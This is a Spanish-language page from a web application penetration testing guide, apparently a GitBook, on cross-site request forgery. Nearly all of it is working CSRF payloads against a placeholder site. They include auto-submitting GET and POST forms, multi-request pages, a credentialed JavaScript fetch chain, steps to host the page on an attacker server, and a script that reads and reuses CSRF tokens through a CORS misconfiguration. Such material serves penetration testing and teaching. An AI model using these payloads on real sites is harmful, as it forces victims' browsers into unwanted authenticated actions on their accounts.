馃煝
Web Application Penetration Testing
  • Inicio
  • General
    • Metodolog铆as y est谩ndares
    • Aplicaciones vulnerables
  • Reconocimiento y recolecci贸n de informaci贸n
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnolog铆as web
  • Escaneo y enumeraci贸n
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Par谩metros
        • GET
        • POST
      • Wordlists
    • Compresi贸n y ofuscaci贸n
    • Herramientas automatizadas
  • Explotaci贸n
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticaci贸n y autorizaci贸n
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnolog铆a de GitBook
En esta p谩gina
  • HTML GET con interacci贸n de usuario
  • HTML GET sin interacci贸n de usuario
  • Formulario HTML GET con interacci贸n de usuario
  • Formulario HTML GET sin interacci贸n de usuario
  • Formulario HTML POST con interacci贸n de usuario
  • Formulario HTML POST sin interacci贸n de usuario
  • Una solicitud
  • M煤ltiples solicitudes
  • JavaScript fetch POST sin interacci贸n de usuario
  • Eludir tokens CSRF mediante configuraciones incorrectas de CORS

驴Te fue 煤til?

  1. Explotaci贸n

Cross-site request forgery (CSRF)

AnteriorCross-site scripting (XSS)SiguienteFile upload

脷ltima actualizaci贸n hace 5 meses

驴Te fue 煤til?

no permitir谩 que un atacante obtenga la respuesta del servidor a una solicitud maliciosa realizada desde otro origen, pero no previene la realizaci贸n de peticiones desde otros or铆genes. Esto significa que same-origin policy (SOP) no puede considerarse un mecanismo de seguridad contra ataques de cross-site request forgery (CSRF).

HTML GET con interacci贸n de usuario

<a href="http://web-vulnerable.com/?param=CSRF">Haz clic aqu铆</a>

HTML GET sin interacci贸n de usuario

<img src="http://web-vulnerable.com/?param=CSRF">

Formulario HTML GET con interacci贸n de usuario

<form action="http://web-vulnerable.com" method="GET">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aqu铆" />
</form>

Formulario HTML GET sin interacci贸n de usuario

csrf-html-get.html
<html>
  <body onload="document.forms['csrf'].submit()">
   <form action="http://web-vulnerable.com" method="GET" name="csrf">
    <input name="param" type="hidden" value="CSRF" />
    <input type="submit" value="Haz clic aqu铆" />
   </form>
 </body>
</html>   

Formulario HTML POST con interacci贸n de usuario

<form action="http://web-vulnerable.com" method="POST">
 <input name="param" type="hidden" value="CSRF" />
 <input type="submit" value="Haz clic aqu铆" />
</form>

Formulario HTML POST sin interacci贸n de usuario

Una solicitud

csrf-html-post.html
<html>
  <body onload="document.forms['csrf'].submit()">
    <form action="http://web-vulnerable.com" method="POST" name="csrf">
      <input name="param" type="hidden" value="CSRF" />
    </form>
  </body>
</html>

M煤ltiples solicitudes

csrf-html-multi-post.html
<html>
  <head>
    <script>     
      function submitForms() {
        document.forms['csrf'].submit();
        document.forms['csrf2'].submit();
        return false;
      }
    </script>
  </head>
  <body onload="submitForms();">
    <form action="http://web-vulnerable.com/api" method="post" name="csrf" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>
    <form action="http://web-vulnerable.com/api2" method="post" name="csrf2" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>  
  </body>
</html>

JavaScript fetch POST sin interacci贸n de usuario

csrf-js-fetch-post.html
<html>
  <head>
    <script>      
      var host = "http://web-vulnerable.com";

      var pathAPI = "/api";
      var paramValueAPI = "value";
      var param2ValueAPI = "value2";
      var paramsAPI = "param=" + paramValueAPI + "&param2=" + param2ValueAPI;

      var pathAPI2 = "/api2";      
      var paramValueAPI2 = "value";
      var param2ValueAPI2 = "value2";
      var paramsAPI2 = "param=" + paramValueAPI2 + "&param2=" + param2ValueAPI2;
    
      function api() {          
        fetch(host+pathAPI, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body : paramsAPI }
        ).then(function(response) {
          console.log("API 1...")
          api2();
        }); 
      }

      function api2() {
        fetch(host+pathAPI2, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded' 
          },
          body : paramsAPI2 }
        ).then(
          console.log("API 2...")
        );
      }

      api();
    </script>
  </head>
  <body>
  </body>
</html>

Alojar y servir p谩gina maliciosa.

sudo systemctl start apache2
cd /var/www/html

V铆ctima visita p谩gina maliciosa.

http://<attacker-IP-address>:<port>/csrf.html

Eludir tokens CSRF mediante configuraciones incorrectas de CORS

<html>
    <head>
        <script>      
            var host = "http://web-vulnerable.com";
            var pathAPI = "/api";
            
            // Get CSRF token
            var xhr = new XMLHttpRequest();
            xhr.open("GET", host+pathAPI, false);
            xhr.withCredentials = true;
            xhr.send();
            var res = new DOMParser().parseFromString(xhr.responseText, "text/html");
            var csrftoken = encodeURIComponent(res.getElementById("csrf").value);
            
            // CSRF
            var csrf_req = new XMLHttpRequest();
            var params = `csrf=${csrftoken}`;
            csrf_req.open("POST", host+pathAPI, false);
            csrf_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            csrf_req.withCredentials = true;
            csrf_req.send(params);
        </script>
    </head>
    <body>
    </body>
</html>
Same-origin policy (SOP)